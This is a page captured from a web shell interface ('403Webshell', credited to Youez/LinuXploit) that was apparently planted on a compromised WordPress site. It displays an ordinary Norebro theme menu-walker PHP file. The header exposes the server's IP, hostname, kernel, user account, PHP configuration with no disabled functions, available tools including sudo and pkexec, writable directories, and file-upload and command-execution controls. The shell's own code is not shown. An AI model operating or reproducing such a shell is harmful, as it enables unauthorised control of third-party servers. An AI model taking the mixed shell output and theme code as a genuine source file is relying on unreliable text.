403Webshell
Server IP : 159.253.20.91  /  Your IP : 216.73.216.111
Web Server : nginx/1.20.2
System : Linux se38c9e53.fastvps-server.com 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64
User : pr11_ru_usr ( 1041)
PHP Version : 8.1.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/pr11_ru_usr/data/www/pr11.ru/wp-content/themes/norebro/inc/menu/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/pr11_ru_usr/data/www/pr11.ru/wp-content/themes/norebro/inc/menu/front_mega_menu_walker.php
<?php

if ( ! class_exists( 'Norebro_Nav_Menu_Walker' ) ) {
	class Norebro_Nav_Menu_Walker extends Walker_Nav_Menu {
		private $_last_ul = '';
		
		function display_element( $element, &$children_elements, $max_depth, $depth, $args, &$output ) {
			$id_field = $this->db_fields['id'];

			if ( is_object( $args[0]) ) {
				$args[0]->has_children = !empty( $children_elements[$element->$id_field] );
				$args[0]->wide_menu = ( $depth == 0 && !empty( $element->norebro_wide_menu_enabled ) && $element->norebro_wide_menu_enabled==1 );
				$args[0]->full_width_menu = ( $depth == 0 && !empty( $element->norebro_full_width_menu_enabled ) && $element->norebro_full_width_menu_enabled==1 );
				$args[0]->norebro_mega_menu_image = ( $depth == 0 && !empty( $element->norebro_mega_menu_image ) ) ? $element->norebro_mega_menu_image : '';
				$args[0]->norebro_mega_menu_bg_position = ( $depth == 0 && !empty( $element->norebro_mega_menu_bg_position ) ) ? $element->norebro_mega_menu_bg_position : '';
				$args[0]->norebro_mega_menu_bg_repeat = ( $depth == 0 && !empty( $element->norebro_mega_menu_bg_repeat ) ) ? $element->norebro_mega_menu_bg_repeat : '';
			}

			return parent::display_element( $element, $children_elements, $max_depth, $depth, $args, $output );
		}

		function start_lvl( &$output, $depth = 0, $args = array( ) ) {
			// depth dependent classes
			$indent = ( $depth > 0 ? str_repeat("\t", $depth ) : '' ); // code indent
			$display_depth = ( $depth + 1 ); // because it counts the first submenu as 0

			$classes = array(
				'menu-depth-' . $display_depth
			);

			if ( $display_depth==1 ) {
				$classes[] = 'sub-menu';
				
				if ( $args->wide_menu ) {
					$classes[] = 'sub-menu-wide';
				}
				
				if ( $args->full_width_menu ) {
					$classes[] = 'sub-menu-full-width';
				}
				
			} else if ( $display_depth >= 2 ) {
				$classes[] = 'sub-sub-menu';
			}
			$subnav_bg_image_url = !empty( $args->norebro_mega_menu_image ) ? esc_attr( $args->norebro_mega_menu_image ) : '';
			$subnav_bg_position = !empty( $args->norebro_mega_menu_bg_position ) ? esc_attr( $args->norebro_mega_menu_bg_position ) : 'center center';
			$subnav_bg_repeat = !empty( $args->norebro_mega_menu_bg_repeat ) ? esc_attr( $args->norebro_mega_menu_bg_repeat ) : 'no-repeat';
			
			$subnav_bg_css = '';
			
			if ( $args->wide_menu ) {
				$subnav_bg_css .= 'style="';

				if(!empty( $subnav_bg_image_url ) ) {
					$subnav_bg_css .= 'background-image: url( '.$subnav_bg_image_url.');';
				}

				if(!empty( $subnav_bg_position ) ) {
					$subnav_bg_css .= 'background-position: '.$subnav_bg_position.';';
				}

				if(!empty( $subnav_bg_repeat ) ) {
					$subnav_bg_css .= 'background-repeat: '.$subnav_bg_repeat.';';
				}
				$subnav_bg_css .= '"';
			}
			
			$prefix = '';
			if ( $depth == 0 ) {
				$prefix = '<div class="sub-nav">';
				$classes[] = 'sub-nav-group';
			} else {
				$prefix = '<div class="sub-sub-nav">';
			}
			
			$class_names = implode( ' ', $classes );
			
			// build html output
			$output .= "\n" . $indent . $prefix . '<ul class="' . $class_names . '" '.$subnav_bg_css.'>' . "\n";
		}
		
		function end_lvl( &$output, $depth = 0, $args = array() ) {
			$indent = str_repeat("\t", $depth );
			$postfix = '';
			$postfix = '</div>';
			
			$output .= "{$indent}</ul>{$postfix}\n";
		}
		
		function start_el( &$output, $item, $depth = 0, $args = array(), $id = 0 ) {
			global $wp_query;
			
			// code indent
			$indent = ( $depth > 0 ? str_repeat("\t", $depth ) : '' );
			
			// depth dependent classes
			$depth_classes = array(
				( $depth == 0 ? 'nav-item' : 'sub-nav-item' ),
				'menu-item-depth-' . $depth,
			);

			if (!empty( $item->_norebro_mega_menu_subtitle )  && ( $depth>0 ) ) {
				$depth_classes[] = 'mega-menu-item-has-subtitle';
			}
			
			if ( is_array( $item->classes ) ) {
				if( in_array("current-menu-ancestor", $item->classes ) ) {
					$depth_classes[] = 'current-menu-ancestor';
				}
				
				if( in_array("current-menu-item", $item->classes ) ) {
					$depth_classes[] = 'current-menu-item';
				}
				
				if( in_array("current-menu-parent", $item->classes ) ) {
					$depth_classes[] = 'current-menu-parent';
				}
			}

			
			// build html
			if ( is_object( $args ) && $args->has_children ) {
				$depth_classes[] = 'has-submenu';
			}
			
			if ( $depth == 0 ) {

				if ( is_object( $args ) && $args->full_width_menu ) {
					$depth_classes[] = 'sub-menu-full-width';
				}
				
			}

			$depth_class_names = esc_attr( implode( ' ', $depth_classes ) );

			$custom_class_names = '';
			foreach ( $item->classes as $class ) {
				if ( $class == 'menu-item' ) {
					break;
				}
				$custom_class_names .= ' ' . $class;
			}

			$output .= $indent . '<li id="nav-menu-item-' . $item->ID . '-' . uniqid() . '" class="mega-menu-item ' . $depth_class_names . $custom_class_names . '">';

			// link attributes
			$attributes  = !empty( $item->attr_title ) ? ' title="' . esc_attr( $item->attr_title ) . '"' : '';
			$attributes .= !empty( $item->target ) ? ' target="' . esc_attr( $item->target ) . '"' : '';
			$attributes .= !empty( $item->xfn ) ? ' rel="' . esc_attr( $item->xfn ) . '"' : '';
			$attributes .= !empty( $item->url ) ? ' href="' . esc_attr( $item->url ) . '"' : '';
			$attributes .= ' class="menu-link ' . ( $depth > 0 ? 'sub-menu-link' : 'main-menu-link item-title' ) . '"';
			
			$icon = !empty( $item->_norebro_mega_menu_icon ) ? '<i class="'.$item->_norebro_mega_menu_icon.'"></i>' : '';
			if (!empty( $item->_norebro_mega_menu_subtitle ) && ( $depth>0 ) ) {
				$subtitle = !empty( $item->_norebro_mega_menu_icon ) ? '<span class="menu-subtitle has-icon">'.$item->_norebro_mega_menu_subtitle.'</span>' : '<span class="menu-subtitle">'.$item->_norebro_mega_menu_subtitle.'</span>';
			} else {
				$subtitle = '';
			}

			switch( true ) {
				case ( $depth == 0 ):
					$item_output = sprintf( '%1$s<a%2$s><span>',
						( ( is_object( $args )) ? $args->before : '' ), $attributes
					);

					$item_output .= sprintf( '%s'.$subtitle,
						apply_filters( 'the_title', $icon.$item->title, $item->ID )
					);

					$item_output .= sprintf( '</span></a>%1$s', 
						( ( is_object( $args ) ) ? $args->after : '' )
					);
					break;
				default: 
					$item_output = sprintf( '%1$s<a%2$s><span>%3$s%4$s%5$s</span></a>%6$s',
						$args->before, 
						$attributes, 
						$args->link_before,
						apply_filters( 'the_title', $icon.$item->title, $item->ID ).$subtitle,
						$args->link_after, 
						$args->after
					);
			}

			if ( $depth == 0 ) {
				
				
			} else {
				
			}

			// build html
			$output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args );
		}
		
		function end_el( &$output, $item, $depth = 0, $args = array() ) {
			$output .= "</li>\n";
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit